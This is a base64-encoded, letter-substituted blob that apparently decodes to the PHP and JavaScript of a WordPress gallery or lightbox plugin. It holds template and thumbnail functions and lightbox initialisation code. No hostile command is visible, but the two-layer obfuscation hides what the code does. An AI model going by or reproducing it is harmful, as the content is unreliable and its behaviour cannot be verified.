EQnICk7DQpCbUdkdFVOX2ZtR04oIFhabkZYaV9RdUtuWXNfRllWIC4gJ0JtR2R0VU5yL0hOV0RkcUhOci9OV2EtamZIZlBxV3EuRGhEJyApOw0KQm1HZHRVTl9mbUdOKCBYWm5GWGlfUXVLbllzX0ZZViAuICdCbUdkdFVOci9ITldEZHFITnIvcWtxYy1xZHh0Vy5EaEQnICk7ICANCkJtR2R0VU5fZm1HTiggWFpuRlhpX1F1S25Zc19GWVYgLiAnQm1HZHRVTnIvSE5XRGRxSE5yL05XYS1xZHh0Vy5EaEQnICk7DQpCbUdkdFVOX2ZtR04oIFhabkZYaV9RdUtuWXNfRllWIC4gJ0JtR2R0VU5yL0hOV0RkcUhOci9OV2EtcWR4dFcteHFHMS5EaEQnICk7DQpCbUdkdFVOX2ZtR04oIFhabkZYaV9RdUtuWXNfRllWIC4gJ0JtR2R0VU5yL0hCbWdXR04tVWRhLkRoRCcgKTsgDQpCbUdkdFVOX2ZtR04oIFhabkZYaV9RdUtuWXNfRllWIC4gJ0JtR2R0VU5yL0hxY2ZtZldnLkRoRCcgKTsNCkJtR2R0VU5fZm1HTiggWFpuRlhpX1F1S25Zc19GWVYgLiAnQm1HZHRVTnIvTnFyZzNCVWFOSC5EaEQnICk7DQpCbUdkdFVOX2ZtR04oIFhabkZYaV9RdUtuWXNfRllWIC4gJ0JtR2R0VU5yL05xcmctVWZHci5EaEQnICk7DQpCbUdkdFVOX2ZtR04oIFhabkZYaV9RdUtuWXNfRllWIC4gJ0JtR2R0VU5yL05XYS1qTnFIdFBOVS5EaEQnICk7DQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgIFRmb05QIDJIZ2ROIG5ObU5QcUhmUCBAckJtR04gRS5TLnkuYg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCg0KanRtR0hCZm0gTldhX2hmb05QX2FObSggJEJyaGZvTlAsICRySGdkTkhnRE4sICRIQkhkTiwgJHJ0eEhCSGROICkgew0KCQ0KCUJqICggJEJyaGZvTlAgPT0gJ0UnICkgew0KCQkNCgkvLyBKaEJyIEJyIHEgRk5qcXRkSCAySGdkTgkNCgkJDQoJCXIzQkhHaCAoJHJIZ2ROSGdETikgew0KCQkJDQoJCQlHcXJOICdoZm9OUGZtTic6DQoJCQkkSFd4ckhnZE4gPSAnPHFQSEJHZE4gR2RxcnI9IlVxLXFtQldxSE4gVXEtcmRCVU5pUGZXVkJhaEgiPjxEIEdkcXJyPSJOV2FqQkhITmNIIj4nLiRIQkhkTi4nPC9EPjxVQm8gR2RxcnI9ImpmUHJEcW0iPjxyRHFtIEdkcXJyPSJwZmZXIj48L3JEcW0+PC9VQm8+PC9xUEhCR2ROPic7DQoJCQl4UE5xMTsNCgkJCQ0KCQkJDQoJCQlHcXJOICdOV2FvQk4zLUgzZic6DQoJCQkkSFd4ckhnZE4gPSAnPFVCbyBHZHFycj0iTldhV3FyMSI+PGhDIEdkcXJyPSJOV2FIQkhkTiBOV2FqQkhITmNIIj4nLiRIQkhkTi4nPC9oQz48RCBHZHFycj0iTldhcnR4SEJIZE4iPicuJHJ0eEhCSGROLic8L0Q+PC9VQm8+JzsNCgkJCQ0KCQkJeFBOcTE7DQoJCQkNCgkJCQ0KCQkJR3FyTiAnTldhb0JOMy1IaFBOTic6DQoJCQkkSFd4ckhnZE4gPSAnPFVCbyBHZHFycj0iTldhV3FyMSI+PGhDIEdkcXJyPSJOV2FIQkhkTiBOV2FqQkhITmNIIj4nLiRIQkhkTi4nPC9oQz48RCBHZHFycj0iTldhcnR4SEJIZE4iPicuJHJ0eEhCSGROLic8L0Q+PC9VQm8+JzsNCgkJCQ0KCQkJeFBOcTE7DQoJCQkNCgkJCQ0KCQkJR3FyTiAnTldhb0JOMy1qZnRQJzoNCgkJCSRIV3hySGdkTiA9ICc8aEMgR2RxcnI9Ik5XYUhIZCBOV2FqQkhITmNIIj4nLiRIQkhkTi4nPC9oQz4nOw0KCQkJDQoJCQl4UE5xMTsJCQkJDQoJCQkNCgkNCgkJVU5qcXRkSDoNCgkJeFBOcTE7CQ0KCQl9DQoJCQ0KCX0gTmRyTiB7DQoJCSRIV3hySGdkTiA9ICc8RCBHZHFycj0iVXEtcW1CV3FITm1oIE5XYWpCSEhOY0giIHJIZ2ROPSJVQnJEZHFnOm1mbU47Ij4nLiRIQkhkTi4nPC9EPjxVQm8gR2RxcnI9ImpmUHJEcW1xIj48ckRxbSBHZHFycj0icGZmV3EiPjwvckRxbT48L1VCbz4nOw0KCX0JCQ0KDQpQTkh0UG0gJEhXeHJIZ2ROOw0KDQp9DQoNCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgQWR4dFcgbk5tTlBxSGZQIEByQm1HTiBFLlMueS5iDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KDQpqdG1HSEJmbSBOV2FfZEJhaEh4ZmNfQldxYU5fcWR4dFdfYU5tTlBxSGZQKCAkZGFIZ0ROLCAkZGEzLCAkZGFoLCAkZGFHZHIsICRkYVdOQlVqQmRITlAsICRkYUJyUEcsICRkYXFkSCwgJGRhR3JIZ2ROLCAkZGFQTmQsICRkYUhIZCA9IG10ZGQsICRQbVVXLCAkaGZvZlBtZlAsICRXTlVIZ0ROLCAkQnJ4cVVhTiwgJEJXYUdmdG1ILCAkcmZQbSwgJEhodFd4ckhnZE4sICRxZEJVLCAkQnJkcXBnLCAkZHFwRGRHICkgew0KCQ0KCQkkQnJhcWRkQm1qZiA9IGFOSF9EZnJIX1dOSHEoICRxZEJVLCAnTnFyV05VQnFfV05IcXhmY19XTlVCcV9hcWRkTlBnX2ZESEMnLCBIUHROICk7DQoJCQ0KCQlCaiAoICRCcmFxZGRCbWpmID09ICdmbScgKSB7DQoJCQkkQldhQm1qZiA9IGFOSF9EZnJIKCAkcWRCVSApOw0KCQkJJEJISGQgPSBySFBCRHJkcXJoTnIgKCBOckdfaEhXZCggTnJHX2tyKCAkQldhQm1qZi0+RGZySF9IQkhkTiApICkgKTsNCgkJCSRCcnh4SEhkID0gckhQQkRyZHFyaE5yICggTnJHX2hIV2QoIE5yR19rciggJEJXYUJtamYtPkRmckhfTmNHTlBESCApICkgKTsNCgkJfQ0KCQlOZHJOIHsNCgkJCSRCSEhkID0gckhQQkRyZHFyaE5yKCBhTkhfRGZySF9XTkhxKCAkcWRCVSwgJ05xcldOVUJxX1dOSHF4ZmNfSEJIZE4nLCBIUHROICkgKTsNCgkJCSRCcnh4SEhkID0gckhQQkRyZHFyaE5yKCBhTkhfRGZySF9XTkhxKCAkcWRCVSwgJ05xcldOVUJxX1dOSHF4ZmNfcnR4X0hCSGROJywgSFB0TiApICk7DQoJCX0NCgkJDQoJCUJqICgkQnJ4cVVhTiA9PSAnRScgJiYgJFdOVUhnRE4gPT0gJ1p0ZEhCRGROIFlXcWFOciAoMmRCVU5QKScgKXsNCgkJCSRxVVV4cVVhTiA9ICc8ckRxbSBHZHFycj0iTldhLXhxVWFOciI+PHJEcW0gR2RxcnI9IkJHZnRtSCI+Jy4kQldhR2Z0bUguJzwvckRxbT48ckRxbSBHZHFycj0iQldhSGEiPicuJHJmUG0uJzwvckRxbT48L3JEcW0+JzsNCgkJfSBOZHJOIHsNCgkJCSRxVVV4cVVhTiA9ICcnOw0KCQl9CQ0KDQoJCU5HaGYgJzxVQm8gVXFIcS1OV2EtR2hCZFU9IicuJEJXYUdmdG1ILiciIFVxSHEtTldhLXFkeHRXPSInLiRxZEJVLiciIHJIZ2ROPSIzQlVIaDonLiRkYTMuJ0RjOyBoTkJhaEg6Jy4kZGFoLidEYzsiIEdkcXJyPSInLiRkYUdkci4nICcuJEhodFd4ckhnZE4uJyBvQk4zIFVxLUhodFd4ciBEUE5kZnFVTlBvQk4zIGpkSFAnLiRkYVdOQlVqQmRITlAuJyBrdHJIcWR4dFciPicuJHFVVXhxVWFOLic8VUJvIEdkcXJyPSJCTmhxbVUiPjxxIGZtR2RCRzE9IlBOSHRQbSBqcWRyTjsiIEdkcXJyPSInLiRxZEJVLicgbWZqZmZ4ZmMiIGhQTmo9IiMiPjxCV2EgR2RxcnI9Ik5XYWRxcGciICcuJGRxcERkRy4nICcuJEJyZHFwZy4nPSInLiRkYUJyUEcuJyIgcWRIPSInLiRkYXFkSC4nIiAvPicuTldhX2hmb05QX2FObSggJGhmb2ZQbWZQLCAkSGh0V3hySGdkTiwgJEJISGQsICRCcnh4SEhkICkuJzwvcT48L1VCbz48L1VCbz4nOw0KCQkJDQp9DQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgIHVCYWhIeGZjIG5ObU5QcUhmUCBAckJtR04gRS5TLnkuYg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5XYV9kQmFoSHhmY19CV3FhTl9hUEJVX2FObU5QcUhmUCggJGRhSGdETiwgJGRhMywgJGRhaCwgJGRhR2RyLCAkZGFXTkJVLCAkZGFCclBHLCAkZGFxZEgsICRkYUdySGdkTiwgJERySEJVLCAkZGFCV0JVLCAkZGFQTmQsICRkYWp0ZGRESGgsICRkYUhIZCA9IG10ZGQsICRQbVVXLCAkaGZvZlBtZlAsICRIaHRXeHJIZ2ROLCAkQnJkcXBnLCAkRGRHaGRVUCA9IG10ZGQgKSB7DQoJDQoJCSRCcmFxZGRCbWpmID0gYU5IX0RmckhfV05IcSggJERySEJVLCAnTnFyV05VQnFfV05IcXhmY19XTlVCcV9hcWRkTlBnX2ZESEMnLCBIUHROICk7DQoJCQ0KCQlCaiAoICRCcmFxZGRCbWpmID09ICdmbScgKSB7DQoJCQkkQldhQm1qZiA9IGFOSF9EZnJIKCAkZGFCV0JVICk7DQoJCQkkQkhIZCA9IHJIUEJEcmRxcmhOciAoIE5yR19oSFdkKCBOckdfa3IoICRCV2FCbWpmLT5EZnJIX0hCSGROICkgKSApOw0KCQkJJEJyeHhISGQgPSBySFBCRHJkcXJoTnIgKCBOckdfaEhXZCggTnJHX2tyKCAkQldhQm1qZi0+RGZySF9OY0dOUERIICkgKSApOw0KCQl9DQoJCU5kck4gew0KCQkJJEJISGQgPSBySFBCRHJkcXJoTnIoIGFOSF9EZnJIX1dOSHEoICREckhCVSwgJ05xcldOVUJxX1dOSHF4ZmNfSEJIZE4nLCBIUHROICkgKTsNCgkJCSRCcnh4SEhkID0gckhQQkRyZHFyaE5yKCBhTkhfRGZySF9XTkhxKCAkRHJIQlUsICdOcXJXTlVCcV9XTkhxeGZjX3J0eF9IQkhkTicsIEhQdE4gKSApOw0KCQl9DQoJCQ0KCXIzQkhHaCAoICRkYUhnRE4gKSB7DQoJCQ0KCQkvLyBYWm4gdUJhaEh4ZmMgKCBGTmpxdGRIICkNCgkJR3FyTiAnTldhZHgnOg0KCQlOR2hmICc8VUJvIHJIZ2ROPSIzQlVIaDonLiRkYTMuJ0RjOyBoTkJhaEg6Jy4kZGFoLidEYzsiIEdkcXJyPSInLiRkYUdkci4nICcuJEhodFd4ckhnZE4uJyBvQk4zIFVxLUhodFd4ciBEUE5kZnFVTlBvQk4zIGpkSFAnLiRkYVdOQlUuJyI+PFVCbyBHZHFycj0iQk5ocW1VIj48cSBmbUdkQkcxPSJOcXJnQUdIQm9OMkhnZE4yaE5OSChcJycuJGRhR3JIZ2ROLidcJyk7UE5IdFBtIEhQdE47IiBHZHFycj0iJy4kRHJIQlUuJy0nLiRkYUJXQlUuJyBtZmpmZnhmYyIgUE5kPSInLiRkYVBOZC4nIiBoUE5qPSInLiRkYWp0ZGRESGguJyI+PEJXYSAnLiREZEdoZFVQLicgR2RxcnI9Ik5XYWRxcGciICcuJEJyZHFwZy4nPSInLiRkYUJyUEcuJyIgcWRIPSInLiRkYXFkSC4nIiAvPicuTldhX2hmb05QX2FObSggJGhmb2ZQbWZQLCAkSGh0V3hySGdkTiwgJEJISGQsICRCcnh4SEhkICkuJzwvcT48L1VCbz48L1VCbz4nOw0KDQoJCXhQTnExOw0KCQkNCgkJLy8gaWZmOWZjIHVCYWhIeGZjDQoJCUdxck4gJ2pmZnhjJzoJDQoJCUJqICggTnFyZ1dOVUJxX0JyamZmeGZjKCkgPT0gJ3FHSEJvTicgKXsgCQ0KCQkNCgkJCUJqKEdkcXJyX05jQnJIcignaWZmeGZjX2lQTk4nKSl7DQoJCQkJJEJyamZmeGZjalBOTiA9ICdHZHFycj0iM0QtQldxYU4tJy4kRHJIQlUuJy0nLiRkYUJXQlUuJyInOw0KCQkJCX0gTmRyTiB7DQoJCQkJCSRCcmpmZnhmY2pQTk4gPSAnJzsNCgkJCQkJfQkJDQoJCQ0KCQlOR2hmICc8VUJvIHJIZ2ROPSIzQlVIaDonLiRkYTMuJ0RjOyBoTkJhaEg6Jy4kZGFoLidEYzsiIEdkcXJyPSInLiRkYUdkci4nICcuJEhodFd4ckhnZE4uJyBvQk4zIFVxLUhodFd4ciBEUE5kZnFVTlBvQk4zIGpkSFAnLiRkYVdOQlUuJyI+PFVCbyBHZHFycj0iQk5ocW1VIj48cSBHZHFycj0iamZmeGZjLUJtckhxbUdOIGpmZnhmYyAnLiREckhCVS4nLScuJGRhQldCVS4nIiBoUE5qPSInLiRkYWp0ZGRESGguJyIgUE5kPSJOV2FqZmZ4ZmMnLiRkYVdOQlUuJyIgSEJIZE49IicuJEJyeHhISGQuJyI+PEJXYSAnLiREZEdoZFVQLicgR2RxcnI9Ik5XYWRxcGciICcuJEJyZHFwZy4nPSInLiRkYUJyUEcuJyIgcWRIPSInLiRCSEhkLiciICcuJEJyamZmeGZjalBOTi4nLz4nLk5XYV9oZm9OUF9hTm0oICRoZm9mUG1mUCwgJEhodFd4ckhnZE4sICRCSEhkLCAkQnJ4eEhIZCApLic8L3E+PC9VQm8+PC9VQm8+JzsJCQ0KCQl9IE5kck4gew0KCQkJTkdoZiAnJzsNCgkJfQ0KCQl4UE5xMTsNCgkJDQoJCS8vIDdmZGZQeGZjIHVCYWhIeGZjDQoJCUdxck4gJ0d4JzoJCQ0KIAkJTkdoZic8VUJvIHJIZ2ROPSIzQlVIaDonLiRkYTMuJ0RjOyBoTkJhaEg6Jy4kZGFoLidEYzsiIEdkcXJyPSInLiRkYUdkci4nICcuJEhodFd4ckhnZE4uJyBvQk4zIFVxLUhodFd4ciBEUE5kZnFVTlBvQk4zIGpkSFAnLiRkYVdOQlUuJyI+PFVCbyBHZHFycj0iQk5ocW1VIj48cSBHZHFycj0iTldhLUd4ZmMgbWZqZmZ4ZmMiIGhQTmo9IicuJGRhanRkZERIaC4nIiBIQkhkTj0iJy4kQkhIZC4nIj48QldhICcuJERkR2hkVVAuJyBHZHFycj0iTldhZHFwZyIgJy4kQnJkcXBnLic9IicuJGRhQnJQRy4nIiBxZEg9IicuJGRhcWRILiciIC8+Jy5OV2FfaGZvTlBfYU5tKCAkaGZvZlBtZlAsICRIaHRXeHJIZ2ROLCAkQkhIZCwgJEJyeHhISGQgKS4nPC9xPjwvVUJvPjwvVUJvPic7CQ0KCQkNCgkJeFBOcTE7DQoJCQ0KCQkvLyB1QmFoSHhmY0MgdUJhaEh4ZmMNCgkJR3FyTiAnZHhDJzoJCQ0KIAkJTkdoZic8VUJvIHJIZ2ROPSIzQlVIaDonLiRkYTMuJ0RjOyBoTkJhaEg6Jy4kZGFoLidEYzsiIEdkcXJyPSInLiRkYUdkci4nICcuJEhodFd4ckhnZE4uJyBvQk4zIFVxLUhodFd4ciBEUE5kZnFVTlBvQk4zIGpkSFAnLiRkYVdOQlUuJyI+PFVCbyBHZHFycj0iQk5ocW1VIj48cSBHZHFycj0ibWZqZmZ4ZmMiIGhQTmo9IicuJGRhanRkZERIaC4nIiBIQkhkTj0iJy4kQnJ4eEhIZC4nIiBVcUhxLWRCYWhIeGZjPSJXeGRCYWhIeGZjWycuJERySEJVLiddIiBVcUhxLUhCSGROPSInLiRCSEhkLiciPjxCV2EgJy4kRGRHaGRVUC4nIEdkcXJyPSJOV2FkcXBnIiAnLiRCcmRxcGcuJz0iJy4kZGFCclBHLiciIHFkSD0iJy4kZGFxZEguJyIgLz4nLk5XYV9oZm9OUF9hTm0oICRoZm9mUG1mUCwgJEhodFd4ckhnZE4sICRCSEhkLCAkQnJ4eEhIZCApLic8L3E+PC9VQm8+PC9VQm8+JzsJCQkNCg0KCQl4UE5xMTsJDQoJCQ0KCQkvLyBpcW1HZ3hmYyB1QmFoSHhmYw0KCQlHcXJOICdqeEMnOgkJDQogCQlOR2hmJzxVQm8gckhnZE49IjNCVUhoOicuJGRhMy4nRGM7IGhOQmFoSDonLiRkYWguJ0RjOyIgR2RxcnI9IicuJGRhR2RyLicgJy4kSGh0V3hySGdkTi4nIG9CTjMgVXEtSGh0V3hyIERQTmRmcVVOUG9CTjMgamRIUCcuJGRhV05CVS4nIj48VUJvIEdkcXJyPSJCTmhxbVUiPjxxIFVxSHEtanFtR2d4ZmMtSGdETj0iQldxYU4iIEdkcXJyPSJOV2FqcW1HZ3hmYyBtZmpmZnhmYyBqcW1HZ3hmYy5CV3FhTiBqcW1HZ3hmYy14dEhIZm0iIFBOZD0iTldhanFtR2ctJy4kRHJIQlUuJyIgaFBOaj0iJy4kZGFqdGRkREhoLiciIEhCSGROPSInLiRCSEhkLiciPjxCV2EgJy4kRGRHaGRVUC4nIEdkcXJyPSJOV2FkcXBnIiAnLiRCcmRxcGcuJz0iJy4kZGFCclBHLiciIHFkSD0iJy4kZGFxZEguJyIgLz4nLk5XYV9oZm9OUF9hTm0oICRoZm9mUG1mUCwgJEhodFd4ckhnZE4sICRCSEhkLCAkQnJ4eEhIZCApLic8L3E+PC9VQm8+PC9VQm8+JzsJDQoJCQ0KCQl4UE5xMTsJDQoJCQ0KCQkvLyBpcW1HZ3hmYyBpUE5OIHVCYWhIeGZjDQoJCUdxck4gJ2p4alBOTic6CQkNCiAJCU5HaGYnPFVCbyBySGdkTj0iM0JVSGg6Jy4kZGEzLidEYzsgaE5CYWhIOicuJGRhaC4nRGM7IiBHZHFycj0iJy4kZGFHZHIuJyAnLiRIaHRXeHJIZ2ROLicgb0JOMyBVcS1IaHRXeHIgRFBOZGZxVU5Qb0JOMyBqZEhQJy4kZGFXTkJVLiciPjxVQm8gR2RxcnI9IkJOaHFtVSI+PHEgR2RxcnI9Im1mamZmeGZjIiBQTmQ9Ik5XYWpxbUdnalBOTiIgaFBOaj0iJy4kZGFqdGRkREhoLiciIEhCSGROPSInLiRCSEhkLiciPjxCV2EgJy4kRGRHaGRVUC4nIEdkcXJyPSJOV2FkcXBnIiAnLiRCcmRxcGcuJz0iJy4kZGFCclBHLiciIHFkSD0iJy4kZGFxZEguJyIgLz4nLk5XYV9oZm9OUF9hTm0oICRoZm9mUG1mUCwgJEhodFd4ckhnZE4sICRCSEhkLCAkQnJ4eEhIZCApLic8L3E+PC9VQm8+PC9VQm8+JzsJDQoJCQ0KCQl4UE5xMTsJCQkNCgkJCQkJCQ0KCQkvLyBRUE5ISGdRaGZIZiB1QmFoSHhmYw0KCQlHcXJOICdERCc6CQkNCiAJCU5HaGYnPFVCbyBySGdkTj0iM0JVSGg6Jy4kZGEzLidEYzsgaE5CYWhIOicuJGRhaC4nRGM7IiBHZHFycj0iJy4kZGFHZHIuJyAnLiRIaHRXeHJIZ2ROLicgb0JOMyBVcS1IaHRXeHIgRFBOZGZxVU5Qb0JOMyBqZEhQJy4kZGFXTkJVLiciPjxVQm8gR2RxcnI9IkJOaHFtVSI+PHEgR2RxcnI9Im1mamZmeGZjIiBQTmQ9Ik5XYURQTkhIZ1FoZkhmW3JoZjNxZGRdIiBoUE5qPSInLiRkYWp0ZGRESGguJyIgSEJIZE49IicuJEJISGQuJyI+PEJXYSAnLiREZEdoZFVQLicgR2RxcnI9Ik5XYWRxcGciICcuJEJyZHFwZy4nPSInLiRkYUJyUEcuJyIgcWRIPSInLiRkYXFkSC4nIiAvPicuTldhX2hmb05QX2FObSggJGhmb2ZQbWZQLCAkSGh0V3hySGdkTiwgJEJISGQsICRCcnh4SEhkICkuJzwvcT48L1VCbz48L1VCbz4nOwkNCgkJDQoJCXhQTnExOw0KCQkNCgkJLy8gUWhmSGYyM0JETiB1QmFoSHhmYw0KCQlHcXJOICdEcic6CQkNCiAJCU5HaGYnPFVCbyBySGdkTj0iM0JVSGg6Jy4kZGEzLidEYzsgaE5CYWhIOicuJGRhaC4nRGM7IiBHZHFycj0iJy4kZGFHZHIuJyAnLiRIaHRXeHJIZ2ROLicgb0JOMyBVcS1IaHRXeHIgRFBOZGZxVU5Qb0JOMyBqZEhQJy4kZGFXTkJVLiciPjxVQm8gR2RxcnI9IkJOaHFtVSI+PHEgR2RxcnI9Im1mamZmeGZjIiBoUE5qPSInLiRkYWp0ZGRESGguJyIgSEJIZE49IicuJEJyeHhISGQuJyI+PEJXYSAnLiREZEdoZFVQLicgR2RxcnI9Ik5XYWRxcGciICcuJEJyZHFwZy4nPSInLiRkYUJyUEcuJyIgcWRIPSInLiRCSEhkLiciIC8+Jy5OV2FfaGZvTlBfYU5tKCAkaGZvZlBtZlAsICRIaHRXeHJIZ2ROLCAkQkhIZCwgJEJyeHhISGQgKS4nPC9xPjwvVUJvPjwvVUJvPic7CQ0KCQkNCgkJeFBOcTE7CQ0KCQkNCgkJLy8gUWhmSGY5ZmMgdUJhaEh4ZmMNCgkJR3FyTiAnRHhmYyc6CQkNCiAJCU5HaGYnPFVCbyBySGdkTj0iM0JVSGg6Jy4kZGEzLidEYzsgaE5CYWhIOicuJGRhaC4nRGM7IiBHZHFycj0iJy4kZGFHZHIuJyAnLiRIaHRXeHJIZ2ROLicgb0JOMyBVcS1IaHRXeHIgRFBOZGZxVU5Qb0JOMyBqZEhQJy4kZGFXTkJVLiciPjxVQm8gR2RxcnI9IkJOaHFtVSI+PHEgR2RxcnI9Im1mamZmeGZjIiBoUE5qPSInLiRkYWp0ZGRESGguJyIgSEJIZE49IicuJEJyeHhISGQuJyI+PEJXYSBVcUhxLURoZkhmeGZjLUhodFd4PSInLiRkYUJyUEcuJyIgJy4kRGRHaGRVUC4nIEdkcXJyPSJOV2FkcXBnIiAnLiRCcmRxcGcuJz0iJy4kZGFCclBHLiciIEhCSGROPSInLiRCSEhkLiciIC8+Jy5OV2FfaGZvTlBfYU5tKCAkaGZvZlBtZlAsICRIaHRXeHJIZ2ROLCAkQkhIZCwgJEJyeHhISGQgKS4nPC9xPjwvVUJvPjwvVUJvPic7CQ0KDQoJCXhQTnExOwkJCQkJCQkJDQoJCQ0KCQkvLyA4ZlBVRFBOcnIgSmhCRzE5ZmMNCgkJR3FyTiAnM0RIeCc6CQkNCiAJCU5HaGYnPFVCbyBySGdkTj0iM0JVSGg6Jy4kZGEzLidEYzsgaE5CYWhIOicuJGRhaC4nRGM7IiBHZHFycj0iJy4kZGFHZHIuJyAnLiRIaHRXeHJIZ2ROLicgb0JOMyBVcS1IaHRXeHIgRFBOZGZxVU5Qb0JOMyBqZEhQJy4kZGFXTkJVLiciPjxVQm8gR2RxcnI9IkJOaHFtVSI+PHEgR2RxcnI9Im1mamZmeGZjIEhoQkcxeGZjIiBQTmQ9Ik5XYUhoQkcxeGZjIiBoUE5qPSInLiRkYWp0ZGRESGguJyIgSEJIZE49IicuJEJISGQuJyI+PEJXYSAnLiREZEdoZFVQLicgR2RxcnI9Ik5XYWRxcGciICcuJEJyZHFwZy4nPSInLiRkYUJyUEcuJyIgcWRIPSInLiRCcnh4SEhkLiciIC8+Jy5OV2FfaGZvTlBfYU5tKCAkaGZvZlBtZlAsICRIaHRXeHJIZ2ROLCAkQkhIZCwgJEJyeHhISGQgKS4nPC9xPjwvVUJvPjwvVUJvPic7CQ0KCQkNCgkJeFBOcTE7CQkJDQoJCQ0KCQlVTmpxdGRIOg0KCQl4UE5xMTsNCgl9ICAJDQoJDQpQTkh0UG07CQ0KCQ0KfQ0KDQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgIHVCYWhIeGZjIDJHUEJESCBuTm1OUHFIZlAgQHJCbUdOIEUuUy55LmINCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQoNCmp0bUdIQmZtIE5XYV9kQmFoSHhmY19yR1BCREhfYU5tTlBxSGZQKCAkZGFIZ0ROLCAkQnJyZEJVTnF0SGYsICRCcnJkQlVOQm1IUG9kLCAkQnJyZEJVTnJoZjMgPSBtdGRkLCAkQkhXckJVID0gbXRkZCwgJFdxQm1CVSA9IG10ZGQgKSB7DQoNCmZ4X3JIcVBIKCk7DQoNCglyM0JIR2ggKCAkZGFIZ0ROICkgew0KCQkNCgkJLy8gWFpuIHVCYWhIeGZjICggRk5qcXRkSCApDQoJCUdxck4gJ05XYWR4JzoNCk5HaGYnPHJHUEJESCBIZ0ROPSJITmNIL2txb3FyR1BCREgiPg0Ka3p0TlBnKFVmR3RXTm1IKS5QTnFVZyhqdG1HSEJmbSgpIHsNCgkJIGt6dE5QZyggIiNqQmRITlByIGRCIiApLkdkQkcxKGp0bUdIQmZtKCkgew0KCQkJIE5kV21Ick5kID0ga3p0TlBnKEhoQnIpLnFISFAoIlVxSHEtZkRIQmZtLW9xZHROIik7DQoJCQkgQmogKE5kV21Ick5kID09ICIqIikgew0KCQkJCWt6dE5QZygiLkJOaHFtVSBxIikucUhIUCgiUE5kIiwgIk5xcmdXTlVCcVtyaGYzcWRkXSIpOw0KCQkJIH0gTmRyTiB7DQoJCQkJIGt6dE5QZygiLiIrTmRXbUhyTmQucnR4ckhQQm1hKEUpKyIgLkJOaHFtVSBxIikucUhIUCgiUE5kIiwgIk5xcmdXTlVCcVsiK05kV21Ick5kKyJdIik7DQoJCQkJIH0NCgkJCSB9KTsNCgkJfSk7PC9yR1BCREg+JzsJDQoJCQ0KCQl4UE5xMTsNCgkJDQoJCS8vIGlmZjlmYyB1QmFoSHhmYw0KCQlHcXJOICdqZmZ4Yyc6DQoJCQkJDQpOR2hmJzxyR1BCREggSGdETj0iSE5jSC9rcW9xckdQQkRIIj4NCmt6dE5QZyhVZkd0V05tSCkuUE5xVWcoanRtR0hCZm0oKSB7DQoJDQooanRtR0hCZm0oIGlNTTlNUiwgJCwgdG1VTmpCbU5VICkgew0KICBpTU05TVIuQm1CSCA9IGp0bUdIQmZtKCkgew0KICAgICQoIi5EcWEzUHFELScuJFdxQm1CVS4nIikuamZmeGZjKCQuTmNITm1VKEhQdE4sIHt9LCBpTU05TVIuZiwgeyBxZDNxZ3JZbUJIOiBIUHROIH0pKTsNCiAgICAkKCIuamZmeGZjLCBbSHFQYU5IPVwiamZmeGZjXCJdIikuamZmeGZjKGlNTTlNUi5mKTsNCiAgfTsNCn0oIDNCbVVmMy5pTU05TVIgPSAzQm1VZjMuaU1NOU1SIHx8IHt9LCBrenROUGcgKSk7DQppTU05TVIuQm1CSCgpOw0KfSk7DQo8L3JHUEJESD4nOw0KDQoJCXhQTnExOw0KDQoJCS8vIDdmZGZQeGZjCQkNCgkJR3FyTiAnR3gnOg0KCQkNCgkJTkdoZic8ckdQQkRIIEhnRE49IkhOY0gva3FvcXJHUEJESCI+DQoJCWt6dE5QZyhVZkd0V05tSCkuUE5xVWcoanRtR0hCZm0oKSB7DQoJCQlrenROUGcoIi5OV2EtR3hmYyIpLkdmZGZQeGZjKHsNCgkJCQlHdFBQTm1IOiAie0d0UFBObUh9IC8ge0hmSHFkfSIsDQoJCQkJUE5kOlwnTldhLUd4ZmNcJywNCgkJCQlQTkh0UG1pZkd0cjoganFkck4sDQoJCQkJcmRCVU5yaGYzOiAnLiRCcnJkQlVOcXRIZi4nLA0KCQkJCXJkQlVOcmhmMzJETk5VOiAnLiRCcnJkQlVOQm1IUG9kLicsDQoJCQkJckdQZmRkQm1hOiBqcWRyTiwNCgkJCQlyRE5OVTogU3l5LA0KCQkJCURoZkhmOiBIUHROLA0KCQkJCWpxVU5NdEg6IFN5eSwNCgkJCQlXcWM4QlVIaDogIk95JSIsDQoJCQkJV3FjVE5CYWhIOiAiT3klIiwNCgkJCQlmbTdmV0RkTkhOOmp0bUdIQmZtKCl7DQoJCQkJCUJqKGt6dE5QZygiI0d4ZmNKQkhkTiIpLkhOY0goKS5kTm1hSGggPiBFKSB7DQoJCQkJCQlrenROUGcoIiNHeGZjSkJIZE4iKS5HcnIoIjNCVUhoIiwga3p0TlBnKCIuR3hmY1FoZkhmIikuM0JVSGgoKS1PKTsNCgkJCQkJCWt6dE5QZygiI0d4ZmNKQkhkTiIpLmhCVU4oKTs